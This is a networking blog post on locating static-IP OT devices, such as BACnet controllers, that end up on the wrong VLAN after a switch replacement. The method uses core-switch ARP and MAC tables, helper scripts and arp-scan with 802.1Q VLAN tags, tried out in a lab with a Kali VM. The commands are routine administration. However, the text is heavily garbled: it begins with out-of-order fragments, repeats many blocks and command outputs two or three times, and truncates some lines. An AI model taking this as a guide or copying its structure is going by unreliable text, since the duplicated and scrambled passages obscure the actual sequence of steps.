In 2000 he earned the Cisco CCNA. Since then, Michael has earned Cisco’s security certification, Aruba’s switching certification, and the LPI’s Linux Essentials certification.
Sunday, February 17, 2019
Locate IP devices on the wrong vlan
When replacing switches, sometimes a device like a Building Automation Control (BACnet) controllers or fire alarm quits working. This is usually because they got patched into the wrong port and now the IP address doesn’t work.
Since these devices normally have static IP addresses and seldom send a packet outbound, their MAC addresses don't register on the switch. This can lead to lost time and aggravation trying to get them back online, especially if they are in a remote cabinet or a switch that is physically hard to reach. This blog will show a process to reduce the time needed to locate the port the device is connected to, so that the problem can be resolved.
Device Name: Test.MDF
PingInfo Data
172.16.16.9 0020.4adb.3e21
172.16.26.94 54ee.7505.86b5
I take that information and save it to a text file named PingInfo-xxx, where xxx is something meaningful for the site. I use the text file with a free program PingInfoView from www.nirsoft.net to create a dashboard of live ping results. Below is an example of a PingInfo dashboard. PingInfo is Windows only!
sudo apt install arp-scan
You can use arp-scan --help to see all of the options for arp-scan. It has a lot of uses, if you Google arp-scan examples, you will find a lot of good ones. I wrote a pyhton script that uses arp-scan to find open IP addresses on a subnet. It's useful when you need to connect to a subnet that doesn't have DHCP but you don't want to cause an IP address conflict. You can download it here.
To use arp-scan in our case, we need to know the interface on the Ubuntu box, the MAC address of the device (Destination MAC), the vlan ID of the switch port and the ip network the device is on.
In this example:
Linux interface - enp2s0f1
vlan ID - 46 (10.112.46.0/23)
Device MAC – 00:90:9e:9a:b5:3d
Device IP – 10.112.100.1
Device Subnet - 10.112.100.0/24
2: enp2s0f1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether 80:fa:5b:31:de:85 brd ff:ff:ff:ff:ff:ff
inet6 fe80::6d35:51a0:cef:4475/64 scope link noprefixroute
valid_lft forever preferred_lft forever
You can see that it doesn't have an IP address.
sh mac add | i 0090.9e9a.b53d
46 0090.9e9a.b53d DYNAMIC Gi1/0/48
It's a simple setup, but there are few gotcha's if you are new to Linux or arp-scan. You will need a Linux machine, physical or virtual, and a Kali Linux virtual machine. The Kali VM will simulate our OT device because it is designed to be quiet on the network. The kali motto is "The quieter you are, the more you can hear".
10.112.100.1/24
255.255.255.0
NO GATEWAY - If you assign a gateway the Kali box will send ARP requests to the gateway and populate the switch's mac address table.
Connect the Kali VM to switch port g1/0/48
ps -ef | grep dh
root 2500 2125 0 13:18 pts/0 00:00:00 dhclient -v
If you see the dhclient service, then run
dhclient -r
to stop the service. If you don't stop it, the dhclient service will do a discover which will populate the MAC-address table on the switch and invalidates the test we are about to try.
Now we are ready to run arp-scan and find the device:
Since these devices normally have static IP addresses and seldom send a packet outbound, their MAC addresses don't register on the switch. This can lead to lost time and aggravation trying to get them back online, especially if they are in a remote cabinet or a switch that is physically hard to reach. This blog will show a process to reduce the time needed to locate the port the device is connected to, so that the problem can be resolved.
Here are the steps to take before the cutover
On the core switch
First, ping all host addresses for subnets of interest on the core switch. This will refresh the arp cache so that devices like BACnet controllers and alarms that have timed out will be in the cache. To do that:
- Execute show run | i ^_ip address - The i means include, the ^ means start at the first character, the _ means look for one space, and ip address is the string to look for. This regex returns just IP addresses from the SVIs, not every instance of the string ip address.
- Copy the output to a text file named vlans.txt
- Run the python3 script pinger.py - You can download the script and read its documentation here. This script converts the subnet address into hosts and pings each host.
- Execute show ip arp
- Copy the output to a text file named arp.txt
- Run the python3 script arp.py - You can download the script and read its documentation here. This script creates a json database of the MAC address/IP address mappings and is used with the next script.
On each edge switch
- Execute show mac add int g1/0/1 | i Gi for each edge port on the switch.
- Copy the output to a text file named mac-addr.txt. I created a spreadsheet with the necessary commands for several Cisco models and Rukus (Brocade) switches. You can download it here.
- Run the python3 script macaddr.py - You can download the script and read its documentation here.
The last step creates a listing of switch ports with the IP address, MAC address, Port and MAC Manufacture:
Device Name: Test.MDF
Vlan IP Address MAC Address Type Interface Vendor
--------------------------------------------------------------------------------
16 172.16.16.9 0020.4adb.3e21 DYNAMIC Gi1/0/5 Pronet
--------------------------------------------------------------------------------
26 172.16.26.94 54ee.7505.86b5 DYNAMIC Gi1/0/14 WistronI
--------------------------------------------------------------------------------
23 172.16.23.117 5442.49a1.06c6 DYNAMIC Gi1/0/47 Sony
--------------------------------------------------------------------------------
20 172.16.20.153 000c.820d.007e DYNAMIC Gi2/0/24 NetworkT
--------------------------------------------------------------------------------
20 172.16.20.96 0040.9d97.a3aa DYNAMIC Gi2/0/26 Digiboar
--------------------------------------------------------------------------------
20 172.16.21.96 cc72.0fff.f6a5 DYNAMIC Gi2/0/27 Viscount
--------------------------------------------------------------------------------
20 172.16.25.96 0024.7900.095b DYNAMIC Gi2/0/30 OptecDis
--------------------------------------------------------------------------------
For this example, I have trimmed the list so it only shows devices that I know are static IP devices like Pronet which is a serial to IP device server, Sony, which in this case is a Surveillance camera, Digiboard which is a serial to IP console server, etc. These are all devices that are critical to the company's operation and I want to make sure they work after the cut over.
Vlan IP Address MAC Address Type Interface Vendor
--------------------------------------------------------------------------------
16 172.16.16.9 0020.4adb.3e21 DYNAMIC Gi1/0/5 Pronet
--------------------------------------------------------------------------------
26 172.16.26.94 54ee.7505.86b5 DYNAMIC Gi1/0/14 WistronI
--------------------------------------------------------------------------------
23 172.16.23.117 5442.49a1.06c6 DYNAMIC Gi1/0/47 Sony
--------------------------------------------------------------------------------
20 172.16.20.153 000c.820d.007e DYNAMIC Gi2/0/24 NetworkT
--------------------------------------------------------------------------------
20 172.16.20.96 0040.9d97.a3aa DYNAMIC Gi2/0/26 Digiboar
--------------------------------------------------------------------------------
20 172.16.21.96 cc72.0fff.f6a5 DYNAMIC Gi2/0/27 Viscount
--------------------------------------------------------------------------------
20 172.16.25.96 0024.7900.095b DYNAMIC Gi2/0/30 OptecDis
--------------------------------------------------------------------------------
For this example, I have trimmed the list so it only shows devices that I know are static IP devices like Pronet which is a serial to IP device server, Sony, which in this case is a Surveillance camera, Digiboard which is a serial to IP console server, etc. These are all devices that are critical to the company's operation and I want to make sure they work after the cut over.
The macaddr.py script also creates a section with just the IP address and MAC address. Here is a snippet of it:
Device Name: Test.MDF
PingInfo Data
172.16.16.9 0020.4adb.3e21
172.16.26.94 54ee.7505.86b5
I take that information and save it to a text file named PingInfo-xxx, where xxx is something meaningful for the site. I use the text file with a free program PingInfoView from www.nirsoft.net to create a dashboard of live ping results. Below is an example of a PingInfo dashboard. PingInfo is Windows only!
PingInfoView continuously pings the addresses and any address that stops responding turns red. Obviously, we want all addresses to be green after the cut over!
After the cut over
The PingInfo dashboard should be all green. But what do you do if one of the static ip devices isn't live in the dashboard? Since many of these devices are Operational Technology (OT) versus IT they seldom send any traffic onto the network so immediately after a cut over the port they are connected to won't have a MAC address. If it got connected to a port on the wrong vlan you won't be able to ping it to populate the MAC address table.
There is a Linux tool called arp-scan by Roy Hill that you can use to send arp requests to a device. It can also send arp requests with an 802.1q vlan tag. This is the key to finding the lost device.
There is a Linux tool called arp-scan by Roy Hill that you can use to send arp requests to a device. It can also send arp requests with an 802.1q vlan tag. This is the key to finding the lost device.
How to use arp-scan
Here is the network diagram for our example:
In my lab, I used a Kali VM to simulate an OT device. At a real customer site, you obviously wouldn't know what port the device is connected to.
First, you will need to install arp-scan on the Ubuntu box:
sudo apt install arp-scan
You can use arp-scan --help to see all of the options for arp-scan. It has a lot of uses, if you Google arp-scan examples, you will find a lot of good ones. I wrote a pyhton script that uses arp-scan to find open IP addresses on a subnet. It's useful when you need to connect to a subnet that doesn't have DHCP but you don't want to cause an IP address conflict. You can download it here.
To use arp-scan in our case, we need to know the interface on the Ubuntu box, the MAC address of the device (Destination MAC), the vlan ID of the switch port and the ip network the device is on.
For the vlan ID, we select one from the vlans configured on the switch. You can use show vlan brief to see a list of vlans assigned to ports. If the switch has a lot of vlans defined you may have to run the command several times, iterating through different vlans.
In this example:
Linux interface - enp2s0f1
vlan ID - 46 (10.112.46.0/23)
Device MAC – 00:90:9e:9a:b5:3d
Device IP – 10.112.100.1
Device Subnet - 10.112.100.0/24
As you can see in the diagram, the simulated device is on port g1/0/48 which is configured as an access port on vlan 46. The Linux box with arp-scan is on a trunk port. The requirement here is that the trunk can pass vlan tags on vlan 46.
It doesn't matter if the trunk has a native vlan with DHCP. Security best practices dictates that the native vlan nk on a trunk be an unused vlan. For our purposes, we don’t care if the interface has an IP address since we are using arp. You will see in the output that the IP address on the interface isn’t set.
Interface configuration for the Ubuntu laptop
sh run int g1/0/47
interface GigabitEthernet1/0/47
switchport trunk encapsulation dot1q
switchport mode trunk
end
interface GigabitEthernet1/0/47
switchport trunk encapsulation dot1q
switchport mode trunk
end
On theUbuntu laptop connected to port g1/0/47
ip addr show enp2s0f1
2: enp2s0f1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether 80:fa:5b:31:de:85 brd ff:ff:ff:ff:ff:ff
inet6 fe80::6d35:51a0:cef:4475/64 scope link noprefixroute
valid_lft forever preferred_lft forever
You can see that it doesn't have an IP address.
Interface configuration for the simulated device
sh run int g1/0/48
interface GigabitEthernet1/0/48
switchport access vlan 46
switchport mode access
end
interface GigabitEthernet1/0/48
switchport access vlan 46
switchport mode access
end
SVI Interfaces
sh run int vl 46
interface Vlan46
ip address 10.112.47.254 255.255.254.0
ip helper-address 192.168.10.221
no ip redirects
end
sh run int vl 100
interface Vlan100
ip address 10.112.100.254 255.255.255.0
ip helper-address 192.168.10.221
no ip redirects
end
interface Vlan46
ip address 10.112.47.254 255.255.254.0
ip helper-address 192.168.10.221
no ip redirects
end
sh run int vl 100
interface Vlan100
ip address 10.112.100.254 255.255.255.0
ip helper-address 192.168.10.221
no ip redirects
end
Run arp-scan
sudo arp-scan -I enp2s0f1 -Q 46 --destaddr=00:90:9e:9a:b5:3d 10.112.100.0/24
WARNING: Could not obtain IP address for interface enp2s0f1. Using 0.0.0.0 for
the source address, which is probably not what you want.
Either configure enp2s0f1 with an IP address, or manually specify the address
with the --arpspa option.
Interface: enp2s0f1, datalink type: EN10MB (Ethernet)
Starting arp-scan 1.9 with 256 hosts (http://www.nta-monitor.com/tools/arp-scan/)
10.112.100.1 00:90:9e:9a:b5:3d Critical IO, LLC (802.1Q VLAN=46)
1 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9: 256 hosts scanned in 2.556 seconds (100.16 hosts/sec). 1 responded
WARNING: Could not obtain IP address for interface enp2s0f1. Using 0.0.0.0 for
the source address, which is probably not what you want.
Either configure enp2s0f1 with an IP address, or manually specify the address
with the --arpspa option.
Interface: enp2s0f1, datalink type: EN10MB (Ethernet)
Starting arp-scan 1.9 with 256 hosts (http://www.nta-monitor.com/tools/arp-scan/)
10.112.100.1 00:90:9e:9a:b5:3d Critical IO, LLC (802.1Q VLAN=46)
1 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9: 256 hosts scanned in 2.556 seconds (100.16 hosts/sec). 1 responded
You can see that arp-scan found the device by mac address and the device replied with its IP address.
Here is what it looked like in Wireshark on the Ubuntu box:
You can see that arp-scan sent 802.1q tag 46 even though I hadn't configured a subinterface on the Ubuntu box. I have a blog showing how to configure Ubuntu to use vlan tags. Here is a link to the blog - Bypass VTY access lists with Linux and Yersinia
Now on the switch, look for the mac address.
sh mac add | i 0090.9e9a.b53d
46 0090.9e9a.b53d DYNAMIC Gi1/0/48
You can either move the device to the correct port or reconfigure the port for the correct vlan. If the customer allows it, I like to label this type of device's switch port like this:
des < BACnet 10.112.100.1 0090.9e9a.b53d>
That gives me the MAC and IP for future troubleshooting.
Let's set up a lab to learn how to use arp-scan.
It's a simple setup, but there are few gotcha's if you are new to Linux or arp-scan. You will need a Linux machine, physical or virtual, and a Kali Linux virtual machine. The Kali VM will simulate our OT device because it is designed to be quiet on the network. The kali motto is "The quieter you are, the more you can hear".
We will use the same network layout as above so you can refer to that diagram.
On the Kali VM
Configure Kali with a static ip address. In this example:
10.112.100.1/24
255.255.255.0
NO GATEWAY - If you assign a gateway the Kali box will send ARP requests to the gateway and populate the switch's mac address table.
Connect the Kali VM to switch port g1/0/48
Check to see if the Kali box sent traffic that caused the switch to record it's MAC address:
sh mac add int g1/0/48
Mac Address Table
-------------------------------------------
Vlan Mac Address Type Ports
---- ----------- -------- -----
46 0090.9e9a.b53d DYNAMIC Gi1/0/48
Total Mac Addresses for this criterion: 1
Mac Address Table
-------------------------------------------
Vlan Mac Address Type Ports
---- ----------- -------- -----
46 0090.9e9a.b53d DYNAMIC Gi1/0/48
Total Mac Addresses for this criterion: 1
Kali did send some traffic and that populated the mac address table. For our purposes, we need to make sure the Kali box isn't sending any traffic. Normally, you do not want your pen test box to send traffic you didn't explicitly request. That is why Kali has DHCP and other services disabled by default.
In this case, I had been using DHCP before switching to static so the dhclient service was still running.
On Kali run
On Kali run
ps -ef | grep dh
root 2500 2125 0 13:18 pts/0 00:00:00 dhclient -v
If you see the dhclient service, then run
dhclient -r
to stop the service. If you don't stop it, the dhclient service will do a discover which will populate the MAC-address table on the switch and invalidates the test we are about to try.
Next, run the following to clear the mac address on the switch port. Sometimes you need to run it a few times before the address is cleared.
clear mac address-table dynamic interface g1/0/48
Finally, you should see an empty mac table for interface g1/0/48
sh mac add int g1/0/48
Mac Address Table
-------------------------------------------
Vlan Mac Address Type Ports
---- ----------- -------- -----
clear mac address-table dynamic interface g1/0/48
Finally, you should see an empty mac table for interface g1/0/48
sh mac add int g1/0/48
Mac Address Table
-------------------------------------------
Vlan Mac Address Type Ports
---- ----------- -------- -----
Try to ping the device
ping 10.112.100.1
Type escape sequence to abort.
Sending 5, 100-byte ICMP Echos to 10.112.100.1, timeout is 2 seconds:
.....
Success rate is 0 percent (0/5)
Connect your laptop to port 1/0/47. I run the lldpd daemon (sudo apt install lldpd) so I can verify that the laptop is connected using the following.
sh lldp ne
Capability codes:
(R) Router, (B) Bridge, (T) Telephone, (C) DOCSIS Cable Device
(W) WLAN Access Point, (P) Repeater, (S) Station, (O) Other
Device ID Local Intf Hold-time Capability Port ID
PROCURVE J9450A Gi1/1/4 120 B 2
1S1K-SYS76 Gi1/0/47 120 B,W,R 80fa.5b31.de85
Total entries displayed: 2
ping 10.112.100.1
Type escape sequence to abort.
Sending 5, 100-byte ICMP Echos to 10.112.100.1, timeout is 2 seconds:
.....
Success rate is 0 percent (0/5)
Connect your laptop to port 1/0/47. I run the lldpd daemon (sudo apt install lldpd) so I can verify that the laptop is connected using the following.
sh lldp ne
Capability codes:
(R) Router, (B) Bridge, (T) Telephone, (C) DOCSIS Cable Device
(W) WLAN Access Point, (P) Repeater, (S) Station, (O) Other
Device ID Local Intf Hold-time Capability Port ID
PROCURVE J9450A Gi1/1/4 120 B 2
1S1K-SYS76 Gi1/0/47 120 B,W,R 80fa.5b31.de85
Total entries displayed: 2
Look at the interface that the laptop is connected to:
sh run int g1/0/47
interface GigabitEthernet1/0/47
switchport trunk encapsulation dot1q
switchport mode trunk
end
interface GigabitEthernet1/0/47
switchport trunk encapsulation dot1q
switchport mode trunk
end
Look at the interface on the laptop after it's connected to the switch
ip addr show enp2s0f1
2: enp2s0f1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether 80:fa:5b:31:de:85 brd ff:ff:ff:ff:ff:ff
inet6 fe80::6d35:51a0:cef:4475/64 scope link noprefixroute
valid_lft forever preferred_lft forever
link/ether 80:fa:5b:31:de:85 brd ff:ff:ff:ff:ff:ff
inet6 fe80::6d35:51a0:cef:4475/64 scope link noprefixroute
valid_lft forever preferred_lft forever
You can see that the interface is UP/UP but doesn't have an IP address.
Look at the SVIs
sh run int vl 46
interface Vlan46
ip address 10.112.47.254 255.255.254.0
ip helper-address 192.168.10.221
no ip redirects
end
sh run int vl 100
interface Vlan100
ip address 10.112.100.254 255.255.255.0
ip helper-address 192.168.10.221
no ip redirects
end
interface Vlan46
ip address 10.112.47.254 255.255.254.0
ip helper-address 192.168.10.221
no ip redirects
end
sh run int vl 100
interface Vlan100
ip address 10.112.100.254 255.255.255.0
ip helper-address 192.168.10.221
no ip redirects
end
Now we are ready to run arp-scan and find the device:
sudo arp-scan -I enp2s0f1 -Q 46 --destaddr=00:90:9e:9a:b5:3d 10.112.100.0/24
WARNING: Could not obtain IP address for interface enp2s0f1. Using 0.0.0.0 for
the source address, which is probably not what you want.
Either configure enp2s0f1 with an IP address, or manually specify the address
with the --arpspa option.
Interface: enp2s0f1, datalink type: EN10MB (Ethernet)
Starting arp-scan 1.9 with 256 hosts (http://www.nta-monitor.com/tools/arp-scan/)
10.112.100.1 00:90:9e:9a:b5:3d Critical IO, LLC (802.1Q VLAN=46)
1 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9: 256 hosts scanned in 2.556 seconds (100.16 hosts/sec). 1 responded
the source address, which is probably not what you want.
Either configure enp2s0f1 with an IP address, or manually specify the address
with the --arpspa option.
Interface: enp2s0f1, datalink type: EN10MB (Ethernet)
Starting arp-scan 1.9 with 256 hosts (http://www.nta-monitor.com/tools/arp-scan/)
10.112.100.1 00:90:9e:9a:b5:3d Critical IO, LLC (802.1Q VLAN=46)
1 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9: 256 hosts scanned in 2.556 seconds (100.16 hosts/sec). 1 responded
Verify that the mac-address table on the switch has been updated
sh mac add | i 0090.9e9a.b53d
46 0090.9e9a.b53d DYNAMIC Gi1/0/48
46 0090.9e9a.b53d DYNAMIC Gi1/0/48
Michael earned his first IT certification, a Novell Certified Netware Engineer (CNE) in 1993. Michael then focused on the Microsoft MCSE credential, studied database design, and wrote several Visual Basic programs to automate production at a manufacturing company.
In 2000 he earned the Cisco CCNA. Since then, Michael has earned Cisco’s security certification, Aruba’s switching certification, and the LPI’s Linux Essentials certification.
Subscribe to:
Posts (Atom)